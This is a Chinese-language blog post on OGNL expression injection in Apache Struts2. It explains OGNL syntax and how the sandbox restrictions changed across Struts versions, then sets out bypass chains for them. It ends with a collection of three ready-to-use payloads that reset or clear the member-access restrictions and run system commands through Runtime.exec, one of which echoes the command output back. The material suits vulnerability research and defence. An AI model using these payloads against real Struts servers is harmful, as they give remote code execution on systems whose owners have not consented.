Learning Man's Blog

OGNL Payload

字数统计: 607阅读时长: 2 min
2018/11/08 Share

OGNL 表达式

  1. 常量:
    1. 字符串:“ hello ”
    2. 字符:‘ h ’
    3. 数字:除了 java 的内置类型 intlongfloatdoubleOgnl 。还有如例:
      • 10.01B,相当于 java.math.BigDecimal,使用’ b ’或者’ B ’后缀。
      • 100000H,相当于 java.math.BigInteger,使用’ h ’ 或 ’ H ’ 后缀
  2. 属性的引用 例如:user.name
  3. 变量的引用 例如:#name
  4. 静态变量的访问 使用 @class@field
  5. 静态方法的调用 使用 @class@method(args), 如果没有指定 class 那么默认就使用 java.lang.Math.
  6. 构造函数的调用 例如:new java.util.ArrayList();

其它的 Ognl 的表达式可以参考 Ognl 的语言手册。

0x01 限制点

  1. 访问权限控制在于_memberAccess

    1. 低版本为DefaultMemberAcces
    2. 高版本为SecurityMemberAccess继承上者,并在excludedxxxx中对敏感类进行限制
  2. 关键字都存在RESERVED_KEYS中

    1. v2.3.30-v2.5.10 在RESERVED_KEYS中未添加_memberAccess,导致后者不能直接覆盖
  3. 关键字context

    1. v2.3.34删除此关键字,导致不能直接获取context

0x02 Bypass

  1. com.opensymphony.xwork2.ognl.SecurityMemberAccess覆盖为ognl.DefaultMemberAccess

    适用 2.3.20~2.3.29

  2. _memberAccess不在RESERVED_KEYS中,不能直接覆盖,上述payload会将#_memberAccess当做普通变量存进_value中。

    • OgnlUtil.createDefaultContext会赋值_memberAccess属性
    • OgnlUtil.getExcludedxxxx()可以获得私有属性
    • 通过com.opensymphony.xwork2.inject.ContainerImpl.getInstance可将context中的变量实例化
    • ContainerImpl通过注入实现container

      攻击链:
      #context获取container->调用getInstance->实例化OgnlUtil->清空excludedxxx(这步经测试可选,是我版本问题?)->设置_memberAccess->攻击payload

  3. context被删除

    ognl信息其实都是存储在值栈中,找到调用值栈的地方,寻找相同的引用地址即可

    1. 可以从request['struts.valueStack']中获取com.opensymphony.xwork2.ognl.OgnlValueStack.context

Payload 集合

需要回显就加IO,$还是%开头均可

  1. _memberAccess覆盖

     %{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd=@java.lang.Runtime@getRuntime().exec("id"))}
    
  2. _memberAccess清空覆盖

     %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@java.lang.Runtime@getRuntime().exec('id'))}
    
  3. context删除

     ${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream())}
    

参考资料

  1. https://www.anquanke.com/post/id/161690
  2. https://blog.csdn.net/boyazuo/article/details/38346045
  3. https://otakekumi.github.io/2018/08/25/S2-057-漏洞环境搭建、原理分析及EXP构造/
  4. https://yq.aliyun.com/articles/135737
  5. https://www.ibm.com/developerworks/cn/opensource/os-cn-ognl/index.html
CATALOG
  1. 1. OGNL 表达式
  2. 2. 0x01 限制点
  3. 3. 0x02 Bypass
  4. 4. Payload 集合
  5. 5. 参考资料